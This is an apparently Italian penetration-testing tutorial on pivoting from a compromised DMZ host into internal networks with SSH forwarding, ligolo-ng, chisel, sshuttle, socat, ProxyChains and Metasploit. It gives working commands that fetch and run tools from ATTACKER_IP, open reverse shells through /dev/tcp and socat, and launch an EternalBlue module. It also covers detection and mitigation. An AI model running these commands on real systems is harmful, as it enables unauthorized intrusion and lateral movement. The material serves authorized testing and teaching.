Pivoting nel Pentest: Guida Completa con Ligolo-ng, Chisel e SSH

Guida pratica al pivoting e tunneling con SSH, Ligolo-ng, Chisel, sshuttle e ProxyChains per raggiungere reti interne e configurare double pivot.
- Pubblicato il 2026-07-16
- Tempo di lettura: 9 min
Pivoting e Tunneling nel Pentest: dalla Shell alla Rete Interna #
Hai una shell su una macchina. Ma quella macchina è nella DMZ — il server esposto su internet. Il valore vero è nella rete interna: i domain controller, i database, le workstation degli amministratori. Per arrivarci devi fare pivoting: usare la macchina compromessa come trampolino per accedere a reti che non sono direttamente raggiungibili dal tuo attacker machine.
[Attacker Machine] → (internet) → [Pivot Machine - DMZ] → (rete interna) → [Target Interno]
↑
qui hai la shell
questa macchina vede entrambe le retiLa macchina pivot vede sia internet (raggiungibile da te) che la rete interna (non raggiungibile da te direttamente). Usando la pivot come relay, puoi far arrivare il tuo traffico alla rete interna.
Ambiente testato in questa guida: Kali Linux 2026.1, Ligolo-ng 0.8.3, Chisel 1.10, sshuttle 1.3.2, ProxyChains-NG 4.17, Metasploit 6, pivot Linux Ubuntu 22.04, pivot Windows Server 2019.
Guida correlata: pivoting per la teoria networking. Per il post-exploitation completo: post-exploitation. Per l’enumerazione dopo l’accesso: linux-enumeration, multi-platform-enumeration.
Step 0 — Mappa la Rete Prima di Pivotare #
# Interfacce della macchina pivot — quante reti vede?
ip addr show
# eth0: 10.10.10.5/24 → internet/DMZ (da cui sei entrato)
# eth1: 192.168.1.5/24 → rete interna (quella che vuoi raggiungere)
ip route
# 10.10.10.0/24 via eth0
# 192.168.1.0/24 via eth1 ← subnet interna!
arp -n
cat /proc/net/arp
# Ping sweep manuale (se non hai nmap sulla pivot)
for i in $(seq 1 254); do
ping -c 1 -W 1 192.168.1.$i &>/dev/null && echo "LIVE: 192.168.1.$i" &
done
wait
# Port scan interno con bash puro (se nmap non disponibile)
for host in 192.168.1.10 192.168.1.20; do
for port in 22 80 443 445 3389 5985; do
timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && \
echo "OPEN: $host:$port"
done
done
# Con nmap dalla pivot (se disponibile)
nmap -sn 192.168.1.0/24
nmap -sV -p 22,80,445,3389 192.168.1.0/24Metodo 1 — SSH Port Forwarding (Nativo, Zero Tool) #
Se la macchina pivot ha SSH, hai già tutto quello che ti serve.
Local Port Forwarding (-L): Accedi a un Servizio Interno #
ssh -L 8080:192.168.1.10:80 user@PIVOT_IP
# http://localhost:8080 → browser → tunnel SSH → PIVOT → 192.168.1.10:80
ssh -L 8080:192.168.1.10:80 \
-L 3389:192.168.1.20:3389 \
-L 5432:192.168.1.30:5432 \
user@PIVOT_IP
xfreerdp /u:admin /p:password /v:localhost:3389
psql -h localhost -p 5432 -U postgresRemote Port Forwarding (-R): esporre sulla pivot un servizio dell’attacker #
Il comando va lanciato dall’attacker machine, che apre una sessione SSH verso la pivot — non il contrario.
# Sulla macchina attacker
ssh -N -T -o ExitOnForwardFailure=yes \
-R 0.0.0.0:9999:127.0.0.1:4444 user@PIVOT_IPPer impostazione predefinita il remote forwarding si lega solo al loopback della macchina remota: la porta 9999 sarà raggiungibile solo dalla pivot stessa, non dagli host interni. Per permettere agli host interni di collegarsi a PIVOT_IP:9999 serve GatewayPorts yes (o GatewayPorts clientspecified) nel sshd_config della pivot.
# Sul tuo attacker machine: ascolta sulla porta 4444
nc -lvnp 4444
# Sulla macchina interna (che vede la pivot ma non internet):
bash -i >& /dev/tcp/PIVOT_IP/9999 0>&1
# → La shell arriva al tuo nc sulla porta 4444, se GatewayPorts è abilitatoDynamic Port Forwarding (-D): SOCKS Proxy Completo #
ssh -D 1080 -N user@PIVOT_IP
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains curl http://192.168.1.10/
proxychains netexec smb 192.168.1.0/24
proxychains ssh admin@192.168.1.20
# IMPORTANTE: usa -sT (TCP connect) — SOCKS non supporta pacchetti raw, quindi -sS non funzionaMetodo 2 — ligolo-ng (Il Migliore per OSEP e Lab Complessi) #
ligolo-ng crea un’interfaccia TUN sul tuo attacker machine usando uno stack di rete userland (Gvisor). Rispetto a chisel/proxychains non serve wrappare ogni tool con proxychains — ma l’agent non inoltra pacchetti raw: ogni pacchetto ricevuto sulla TUN viene tradotto in una normale chiamata connect() eseguita dall’agent sulla pivot. Un nmap -sS lanciato attraverso ligolo-ng arriva quindi alla rete interna come una connessione TCP completa (three-way handshake), non come un SYN scan raw.
nmap --unprivileged -sT -Pn -n -p- 192.168.1.10Puoi comunque lanciare nmap -sS attraverso ligolo-ng — funziona, dà risultati corretti — ma non va descritto come “SYN scan reale sulla rete interna”.
Setup — scaricare i binari #
Non usare link latest/download diretti: gli asset attuali includono versione, ruolo, OS e architettura nel nome, dentro archivi .tar.gz/.zip. Controlla la pagina release e verifica il checksum.
# Esempio con versione fissata e verificata (adatta alla release corrente)
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
tar -xzf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
chmod +x proxy
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
tar -xzf ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
chmod +x agent# Avvia il proxy sul tuo attacker
./proxy -selfcert -laddr 0.0.0.0:11601# Sulla macchina pivot: trasferisci e lancia l'agent
curl http://ATTACKER_IP:8000/agent -o /tmp/agent
chmod +x /tmp/agent
/tmp/agent -connect ATTACKER_IP:11601 -ignore-certMetodo moderno: autoroute #
Da ligolo-ng 0.8 il comando autoroute individua le subnet viste dall’agent, crea o riusa un’interfaccia, e avvia il tunnel senza passaggi manuali.
[Agent : PIVOT_HOSTNAME] >>
session
1
autoroute
# ? Select routes to add: 192.168.1.0/24
# ? Create a new interface or use an existing one? Create a new interface
# ? Start the tunnel? YesVerifica poi che tutto sia raggiungibile:
nmap -sS -p- 192.168.1.10
curl http://192.168.1.10/
netexec smb 192.168.1.0/24Metodo manuale (fallback) #
Usalo quando autoroute non funziona o vuoi controllare esplicitamente interfacce e routing.
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.1.0/24 dev ligolosession
1
startDouble Pivot con ligolo-ng #
Ogni hop deve avere una sessione agent distinta, un tunnel distinto, e un’interfaccia (o gestione autoroute) e una route dedicate — non riusare genericamente la stessa interfaccia ligolo per due subnet diverse, altrimenti crei conflitti di routing.
ligolo-pivot1 → 192.168.1.0/24 (interfaccia/route dedicata)
ligolo-pivot2 → 10.10.10.0/24 (interfaccia/route dedicata separata)# Nel prompt ligolo-ng, con sessione Pivot1 attiva:
listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601# Su Pivot2 (raggiungibile da Pivot1):
/tmp/agent -connect PIVOT1_IP:11602 -ignore-certsession
2
autoroute
# seleziona 10.10.10.0/24, crea una nuova interfaccia dedicata a questo hopMetodo 3 — chisel (HTTP Tunnel, Bypass Firewall) #
chisel crea tunnel TCP/UDP over HTTP. Ideale quando l’unica porta permessa in uscita è la 80 o la 443.
# Download dalla pagina release ufficiale, verifica sempre la versione corrente
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && chmod +x chisel_linux_amd64
mv chisel_linux_amd64 chiselPer un lab puoi usare la configurazione semplice, ma non è quella consigliata per un engagement reale: chisel supporta fingerprint verification, --auth/--authfile e TLS/mTLS, e andrebbero usati.
# Setup semplice (solo lab/didattica)
./chisel server -p 8080 --reverse
./chisel client ATTACKER_IP:8080 R:1080:socks# Setup con verifica fingerprint (consigliato)
./chisel server -p 8080 --reverse --keyfile chisel-key.pem
# il server stampa il proprio fingerprint all'avvio
./chisel client \
--fingerprint '<FINGERPRINT_SERVER>' \
ATTACKER_IP:8080 \
R:1080:socksecho "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains curl http://192.168.1.10/Chisel Local Port Forward #
./chisel server -p 8080 --reverse
./chisel client ATTACKER_IP:8080 R:4433:192.168.1.10:443
curl https://localhost:4433/Chisel su Windows (pivot Windows) #
certutil.exe -urlcache -f http://ATTACKER_IP:8000/chisel.exe C:\Windows\Temp\chisel.exe
C:\Windows\Temp\chisel.exe client ATTACKER_IP:8080 R:1080:socks
(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP:8000/chisel.exe","C:\Temp\chisel.exe")
Start-Process -NoNewWindow "C:\Temp\chisel.exe" -ArgumentList "client ATTACKER_IP:8080 R:1080:socks"Guida dedicata: chisel.
Metodo 4 — sshuttle (Proxy Trasparente over SSH) #
sshuttle crea un proxy trasparente simile a una VPN per il traffico TCP — non è una VPN layer 3 completa e non inoltra genericamente UDP o ICMP. Il DNS va gestito esplicitamente con --dns. Richiede Python 3.9+ sul sistema remoto.
pip3 install sshuttle
# oppure: apt install sshuttle
sudo sshuttle --dns \
-r user@PIVOT_IP \
192.168.1.0/24 \
-x PIVOT_IP
# Con chiave SSH
sshuttle -r user@PIVOT_IP 192.168.1.0/24 -e "ssh -i /path/to/key" --dns
# Tutte le subnet
sshuttle -r user@PIVOT_IP 0.0.0.0/0 -x PIVOT_IP --dns
# Con password (sshpass)
sshuttle -r user@PIVOT_IP 192.168.1.0/24 -e "sshpass -p 'password' ssh" --dnsGuida dedicata: sshuttle.
Metodo 5 — socat (Relay Semplice, Senza Installazioni) #
socat TCP-LISTEN:8080,fork TCP:192.168.1.10:80
curl http://PIVOT_IP:8080/ # → arriva a 192.168.1.10:80
socat UDP-LISTEN:53,fork UDP:192.168.1.53:53
# Sulla macchina interna:
socat TCP-LISTEN:4444,fork EXEC:'/bin/bash'
# Dalla pivot → relay verso il tuo attacker:
socat TCP:ATTACKER_IP:4444 TCP:192.168.1.10:4444
# Reverse shell attraverso la pivot:
# attacker: nc -lvnp 4444
# pivot: socat TCP:ATTACKER_IP:4444 TCP:192.168.1.10:9999
# interna: socat TCP-LISTEN:9999 EXEC:'/bin/bash'Guida dedicata: socat.
Metodo 6 — ProxyChains (Configurazione e Uso) #
ProxyChains intercetta le chiamate di rete tramite LD_PRELOAD, quindi funziona principalmente con programmi dinamicamente linkati. Binari statici, daemon, o programmi con meccanismi di rete particolari possono ignorarlo. Supporta solo TCP — non UDP, non ICMP, non pacchetti raw.
cat /etc/proxychains.conf
# Modalità: strict_chain, dynamic_chain, random_chain — dynamic_chain per ambienti instabili
socks5 127.0.0.1 1080 # chisel o SSH -D
proxychains curl http://192.168.1.10/
proxychains ssh user@192.168.1.20
proxychains netexec smb 192.168.1.0/24 -u admin -p password
proxychains nmap -sT -Pn -n --open 192.168.1.0/24
# -sT = obbligatorio, -sS non funziona via SOCKS
# -Pn = disabilita ping (ICMP non passa via SOCKS)
# -n = no DNS reverse lookup (lento via proxy)
# Nota: script NSE che usano UDP o raw socket possono fallire comunque
proxychains firefox &Guida dedicata: proxychains.
Metodo 7 — Pivoting con Metasploit #
msfconsole
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 192.168.1.0
set NETMASK 255.255.255.0
run
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443,445,3389
run
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.20
runDNS Attraverso il Pivot #
Raggiungere un IP non significa risolvere i nomi interni. Servizi Active Directory, Kerberos e SMB dipendono da hostname/FQDN risolti correttamente — verifica sempre quale DNS server usa la pivot e instrada anche il traffico verso quel resolver.
- ProxyChains — abilita
proxy_dnsin/etc/proxychains.confper far risolvere i nomi attraverso il proxy - sshuttle — usa sempre
--dnsper instradare le query DNS nel tunnel - ligolo-ng — aggiungi una route esplicita verso l’IP del DNS server interno (es. il DC), oltre alla subnet target
- Verifica manuale:
dig @DNS_INTERNO host.dominio.local - Attenzione a DNS leak: senza instradamento esplicito, le query possono uscire verso il resolver locale invece che verso quello interno
- Distingui sempre hostname, FQDN e IP quando lavori con SPN/Kerberos — un nome risolto male rompe l’autenticazione anche con la route corretta
Reverse Shell Attraverso la Rete Interna #
Con ligolo-ng #
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444# Sul tuo attacker:
nc -lvnp 4444
# Sulla macchina interna (che vede solo la pivot):
bash -i >& /dev/tcp/PIVOT_IP/4444 0>&1Con socat relay (se non hai ligolo-ng) #
socat TCP-LISTEN:4444,fork TCP:ATTACKER_IP:4444
nc -lvnp 4444
bash -i >& /dev/tcp/PIVOT_IP/4444 0>&1Tabella Comparativa Tool #
| Tool | Richiede installazione pivot? | Tipo | Migliore per |
|---|---|---|---|
| SSH -L/-D/-R | No (SSH nativo) | Port forward / SOCKS | Accesso rapido, 1 subnet |
| sshuttle | No (solo Python sul pivot) | Proxy trasparente TCP-only | Semplicità, multi-subnet |
| ligolo-ng | Sì (agent leggero) | TUN userland (Gvisor) | Lab complessi, multi-pivot, OSEP |
| chisel | Sì | HTTP tunnel | Bypass firewall, porta 80/443 |
| socat | Spesso già presente | TCP relay | Single service, no setup |
| proxychains | No (wrapper LD_PRELOAD) | SOCKS wrapper, solo TCP | Usare tool dinamicamente linkati via proxy |
| Metasploit autoroute | No (già in Meterpreter) | Route table | Tutto tramite MSF |
Troubleshooting #
| Problema | Controllo |
|---|---|
| Subnet non raggiungibile | ip route get <IP> |
| Route sovrapposta alla rete locale/VPN | ip route |
| Porta del tunnel non in ascolto | ss -lntup |
| Agent non raggiunge il proxy | tcpdump, firewall ed egress |
| Nomi interni non risolti | dig, /etc/resolv.conf, resolvectl |
| TUN non creabile | privilegi o capability CAP_NET_ADMIN |
| ProxyChains ignorato | binario statico o protocollo non TCP |
| Reverse shell non arriva | listener bindato solo su loopback (vedi GatewayPorts per SSH -R) |
| Prestazioni scarse | MTU, latenza, scansione troppo aggressiva |
Workflow Completo: Da Zero a Rete Interna #
STEP 1 — Accesso alla pivot
Shell su PIVOT (RCE, credenziali SSH, web shell)
STEP 2 — Mappa la rete
ip addr show → quante interfacce? quali subnet?
ip route → quali reti vede?
ping sweep → quali host sono attivi nella rete interna?
STEP 3 — Scegli il metodo di pivoting
Hai SSH con credenziali? → sshuttle (più semplice)
Lab complesso con più reti? → ligolo-ng (più potente)
Firewall blocca tutto tranne HTTP/HTTPS? → chisel su porta 80/443
Accesso limitato, solo bash? → SSH -D + proxychains
STEP 4 — Configura il tunnel e il DNS interno
STEP 5 — Enumera la rete interna
nmap sulla subnet interna
netexec smb per Windows
Cerca servizi vulnerabili
STEP 6 — Attacca i target interni
Exploit diretto (con ligolo-ng)
Oppure via proxychains (con SOCKS)
Ottieni shell su target interno → nuovo pivot?
STEP 7 — Double/Triple pivot se necessario
Sessione, tunnel e route dedicati per ogni nuovo hop
STEP 8 — Cleanup
Rimuovi tunnel, route, agent, binari, chiavi temporaneeChecklist #
RECONNAISSANCE PRE-PIVOT
☐ ip addr → subnet interne identificate
☐ ip route → reti raggiungibili dalla pivot
☐ arp -n → host già visti nella rete interna
☐ Ping sweep → host attivi identificati
CONFIGURAZIONE TUNNEL
☐ SSH -D + proxychains (se SSH disponibile)
☐ sshuttle --dns (se SSH + Python disponibili)
☐ ligolo-ng agent trasferito e lanciato
☐ autoroute eseguito (o interfaccia/route manuale come fallback)
☐ Route DNS interno aggiunta separatamente dalla subnet target
☐ chisel configurato con fingerprint se firewall blocca tutto tranne HTTP
USO DELLA RETE INTERNA
☐ nmap -sT -Pn via proxychains (o -sS/-unprivileged via ligolo-ng)
☐ netexec smb per enumerazione Windows
☐ Credenziali trovate sulla pivot testate su host interni
☐ Servizi vulnerabili identificati e exploitati
REVERSE SHELL DA RETE INTERNA
☐ Listener sul tuo attacker (nc -lvnp 4444)
☐ Relay configurato: ligolo-ng listener_add o socat relay
☐ GatewayPorts verificato se si usa SSH -R
☐ Reverse shell lanciata dalla macchina interna
DOUBLE PIVOT
☐ Seconda subnet identificata dalla seconda pivot
☐ Sessione, tunnel e route dedicati e separati per il secondo hop
☐ Listener su Pivot1 per connettere Pivot2
CLEANUP
☐ Route rimosse: ip route del SUBNET dev ligolo
☐ Interfaccia TUN rimossa: ip link del ligolo
☐ Processi terminati: pkill -f ligolo/chisel/socat
☐ Listener residui verificati: ss -lntup
☐ Agent rimossi dalle pivot, chiavi/certificati temporanei eliminati
☐ Regole firewall temporanee rimosse
☐ ProxyChains ripristinato alla configurazione originaleDetection #
Pivoting, SOCKS, SSH forwarding e tunnel HTTP/HTTPS rientrano principalmente in:
- T1572 — Protocol Tunneling
- T1090.001 — Internal Proxy
- T1090.003 — Multi-hop Proxy (catene multiple)
Indicatori da correlare:
- Connessioni TLS o SSH in uscita anomalamente lunghe
- Processi
agent,chisel,socat,sshcon argomenti di forwarding - Listener inattesi su porte alte
- Un host DMZ che inizia a contattare molti sistemi interni fuori dal suo baseline
- Traffico interno proveniente da un host che normalmente non agisce da proxy
- Molti flussi multiplexati dentro una singola connessione
- Nuovi binari nelle directory temporanee
Mitigazione #
- Segmentazione tra DMZ, server, workstation e reti amministrative
- Egress filtering verso destinazioni e porte non necessarie
- Application allowlisting
- Monitoraggio dei tunnel persistenti
- Restrizioni sull’SSH forwarding lato server:
DisableForwarding
AllowTcpForwarding no
PermitOpen none
GatewayPorts no- Blocco dei listener non autorizzati tramite host firewall
FAQ #
Qual è la differenza tra ligolo-ng e chisel?
ligolo-ng crea un’interfaccia TUN userland (Gvisor) — puoi usare qualsiasi tool senza proxychains, ma l’agent traduce comunque ogni pacchetto in una connect() reale, quindi non fa raw SYN scan sulla rete interna. chisel crea un proxy SOCKS — ogni connessione deve passare da proxychains, niente -sS, più lento. ligolo-ng è superiore per lab complessi; chisel è più semplice e funziona su HTTP/HTTPS per bypassare firewall.
proxychains rallenta le scansioni nmap. Come faccio?
Con ligolo-ng non hai questo problema. Con proxychains: usa -sT -Pn -n --min-rate 500. Alternativa: trasferisci nmap sulla pivot e scansiona dall’interno senza proxy.
Come trasferisco ligolo-ng o chisel sulla pivot se non ho accesso diretto?
python3 -m http.server 8000 sul tuo attacker, poi curl http://ATTACKER_IP:8000/agent -o /tmp/agent sulla pivot. Se curl/wget non ci sono: base64 encoding, /dev/tcp con nc, o SCP se hai SSH.
La macchina pivot non ha Python (richiesto da sshuttle). Cosa uso?
Se ha SSH: ssh -D + proxychains. Se puoi caricare binari: ligolo-ng o chisel. Se solo bash: relay manuale via /dev/tcp o socat se presente.
In un pentest reale devo documentare i tunnel?
Sì. Documenta ogni tunnel (tool, porte, subnet) per il report, e in cleanup rimuovi tutti i binari caricati, le route e i processi in background. Verifica con ps aux | grep -E 'chisel|ligolo|socat|sshuttle' e ss -lntup.








